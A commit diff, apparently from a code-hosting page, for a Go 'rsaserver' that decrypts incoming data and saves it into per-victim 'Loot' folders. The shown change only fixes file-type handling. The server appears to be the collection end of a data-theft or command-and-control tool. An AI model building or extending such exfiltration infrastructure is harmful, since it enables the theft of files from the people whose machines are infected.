Fix incorrectly handeling of unknown filetypes
This commit is contained in:
parent
1a8966cb1f
commit
323b6e1f82
66
rsaserver.go
66
rsaserver.go
@ -180,40 +180,46 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
|
|||||||
return decodedKey, err
|
return decodedKey, err
|
||||||
}
|
}
|
||||||
|
|
||||||
func handleDecrypted(decryptedDataB []byte, uidB []byte){
|
func handleDecrypted(decryptedDataB []byte, uidB []byte) {
|
||||||
data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
|
data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
|
||||||
|
|
||||||
|
fileType, err := magic.Lookup(data)
|
||||||
|
if err != nil {
|
||||||
|
if err == magic.ErrUnknown {
|
||||||
|
fmt.Println("File type is unknown")
|
||||||
|
} else {
|
||||||
|
panic(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var fileTDef string
|
||||||
|
if fileType != nil {
|
||||||
|
fileTDef = fileType.Extension
|
||||||
|
} else {
|
||||||
|
fileTDef = "unknown"
|
||||||
|
}
|
||||||
|
|
||||||
|
uid := strings.TrimSpace(string(uidB))
|
||||||
|
folderPath := fmt.Sprintf("Loot/%s", uid)
|
||||||
|
err = createFolderIfNotExists(folderPath)
|
||||||
|
if err != nil {
|
||||||
|
panic(err)
|
||||||
|
}
|
||||||
|
|
||||||
fileType, err := magic.Lookup(data)
|
timestamp := time.Now().Unix()
|
||||||
if err != nil {
|
filename := fmt.Sprintf("%d.%s", timestamp, fileTDef)
|
||||||
if err == magic.ErrUnknown {
|
|
||||||
fmt.Println("File type is unknown")
|
filePath := fmt.Sprintf("%s/%s", folderPath, filename)
|
||||||
fileType.Extension = "unk"
|
fmt.Println(filePath)
|
||||||
}else{
|
err = saveFile(filePath, data)
|
||||||
panic(err)
|
if err != nil {
|
||||||
}
|
panic(err)
|
||||||
}
|
}
|
||||||
|
|
||||||
uid := strings.TrimSpace(string(uidB))
|
fmt.Printf("Got a %s from %s, saving to %s\n", fileTDef, uid, filePath)
|
||||||
folderPath := fmt.Sprintf("Loot/%s", uid)
|
|
||||||
err = createFolderIfNotExists(folderPath)
|
|
||||||
if err != nil {
|
|
||||||
panic(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
timestamp := time.Now().Unix()
|
|
||||||
filename := fmt.Sprintf("%d.%s", timestamp, fileType.Extension)
|
|
||||||
|
|
||||||
filePath := fmt.Sprintf("%s/%s", folderPath, filename)
|
|
||||||
fmt.Println(filePath)
|
|
||||||
err = saveFile(filePath, data)
|
|
||||||
if err != nil {
|
|
||||||
panic(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
fmt.Printf("Got a %s from %s, saving to %s\n",fileType.Extension,uid,filePath)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
func createFolderIfNotExists(folderPath string) error {
|
func createFolderIfNotExists(folderPath string) error {
|
||||||
_, err := os.Stat(folderPath)
|
_, err := os.Stat(folderPath)
|
||||||
if os.IsNotExist(err) {
|
if os.IsNotExist(err) {
|
||||||
|
Loading…
Reference in New Issue
Block a user